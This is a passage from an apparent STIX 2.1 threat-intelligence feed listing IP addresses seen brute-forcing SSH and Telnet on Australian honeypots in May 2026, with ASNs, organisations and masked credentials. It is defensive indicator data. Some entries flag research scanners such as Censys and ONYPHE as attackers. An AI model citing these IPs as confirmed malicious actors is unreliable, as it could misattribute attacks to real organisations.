      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, n********0.",
      "id": "indicator--860fea74-25a0-460c-8d5d-ba1c1d6762d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.241.176.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--69284be3-39bb-44e3-8241-288ae3cac2a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--bab1af5b-3f6d-47c3-b053-1e8da4623cc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2d7e5c4b-1c15-4235-a75e-2538d83c9457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2654d5f2-1c5c-40e0-af47-7cba998fd0ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 1680. Organisation(s): Cellcom Fixed Line Communication L.P.",
      "id": "indicator--ce324d08-a209-4378-9e12-ad2f2ea242da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.35.250.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d6bed937-a754-49f6-983f-7fddd04382ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.86.93.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:15:06.000Z",
      "valid_until": "2026-06-17T01:15:03.000Z"
    },
    {
      "created": "2026-05-16T01:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--08c0d2f3-6606-43eb-99cc-100a27b2774d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.124.230.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:15:06.000Z",
      "valid_until": "2026-06-17T01:15:03.000Z"
    },
    {
      "created": "2026-05-16T01:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--633c71bb-51f0-4e90-9ba8-11f2a7b09a1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T01:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:15:06.000Z",
      "valid_until": "2026-06-17T01:15:03.000Z"
    },
    {
      "created": "2026-05-16T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p*****i. Passwords observed (masked): K********@, f******s.",
      "id": "indicator--515d5603-1a56-4632-b494-0f8a1a459bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.68.65.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:15:11.000Z",
      "valid_until": "2026-06-17T02:15:08.000Z"
    },
    {
      "created": "2026-05-16T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--b19010cd-1a1a-4dfe-b9f8-86de0887658d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.120.5.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:15:11.000Z",
      "valid_until": "2026-06-17T02:15:08.000Z"
    },
    {
      "created": "2026-05-16T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 85. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--078e4596-ff03-4edc-8739-864a6b4988eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.189.205.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:15:11.000Z",
      "valid_until": "2026-06-17T02:15:08.000Z"
    },
    {
      "created": "2026-05-16T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--83af419d-975c-4d93-a818-2e832e7f2618",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.85.8.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:15:11.000Z",
      "valid_until": "2026-06-17T02:15:08.000Z"
    },
    {
      "created": "2026-05-16T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9694. Organisation(s): Seokyung Cable Television Co.. Ltd..",
      "id": "indicator--39dbe2a1-f53e-4283-b3b1-37027ba20b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.65.120.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T02:15:11.000Z",
      "valid_until": "2026-06-17T02:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f6ece0bf-ea7a-4b8c-a421-d9db94a86a27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.241.208.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--ae530c83-c218-48f6-9461-b235f14c9616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.56.27.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--5866eb01-309f-4576-a91c-bc7149ecfcbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.105.112.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--75129f68-e410-44cd-8586-47951394e8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.9.210.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--d50e3f5e-c35c-464c-92cc-39e1533b8c9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.139.129.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--41510d35-bb05-43ff-8cdb-28cb92ee2b75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.227.20.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7bc254f9-8068-4300-bda9-a71c6af15ae6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.199.89.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4, d*********r, l***x, p*****i. Passwords observed (masked): 3***********4, 3**********4, l******3, w******t, 1*****$.",
      "id": "indicator--2b0d727e-a2bf-4dd8-a329-ebfa0d7a524d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.93.144.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 401701. Organisation(s): cognetcloud INC.",
      "id": "indicator--e7b62eb1-05a2-4dc2-9e00-f8aae99b3491",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.76.205.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--f672f50c-2bc4-4c79-aa85-be0e6dbb21cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.236.153.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC. Usernames observed (masked): r**t, 3**********4, d*********r, l***x, p*****i. Passwords observed (masked): 3***********4, 3**********4, l******3, 1*****$, 2**2.",
      "id": "indicator--fae3187e-49d9-4072-833b-2230106e476c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.116.72.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 1241. Organisation(s): Nova Telecommunications & Media Single Member S.A.",
      "id": "indicator--f74d0079-596c-426a-9886-d864824f7dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.1.89.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bdcb32ab-e241-489a-839a-1a867de2f0b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--35466c43-5ed7-4c06-861b-8ba998dcad78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--5760287e-8c33-40ef-926e-363fc00ff2c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.134.239.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 34224. Organisation(s): Neterra Ltd.. Usernames observed (masked): r**t, 3**********4, d*********r, l***x, p*****i. Passwords observed (masked): w******t, 3***********4, 3**********4, J******6, K********@.",
      "id": "indicator--d2a2e5b5-bafd-41d2-b7df-0ddb777584af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.92.199.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T03:15:11.000Z",
      "valid_until": "2026-06-17T03:15:08.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--31223cf9-67d1-4742-baa3-874f6a818d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.118.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 36994. Organisation(s): Vodacom-VB.",
      "id": "indicator--7d0d90de-1501-4f3c-a70d-d007cc9535e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.246.80.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 239. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 58065. Organisation(s): Orion Network Limited. Usernames observed (masked): r**t, f*****r, 3**********4, ***, b**s. Passwords observed (masked): l******3, 0********y, ***, 1*******E, 1****6.",
      "id": "indicator--1dc33264-e679-4acd-b56f-b9971ca9f65a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.196.253.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 139220. Organisation(s): Sichuan Chuanxn IDC. Usernames observed (masked): r**t, 3**********4, l***x, u**********r, z******u. Passwords observed (masked): l******3, 2**0, 2**5, 3***********4, 3**********4.",
      "id": "indicator--0c483245-c66f-4044-b466-e5ed9131c2e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.25.208.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--dbce38f0-6cb0-4311-8e7e-7f55b524e8fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
      "valid_until": "2026-06-17T04:15:04.000Z"
    },
    {
      "created": "2026-05-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--84233b09-9b4f-4769-a8f9-dff91b98e7e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T04:15:05.000Z",
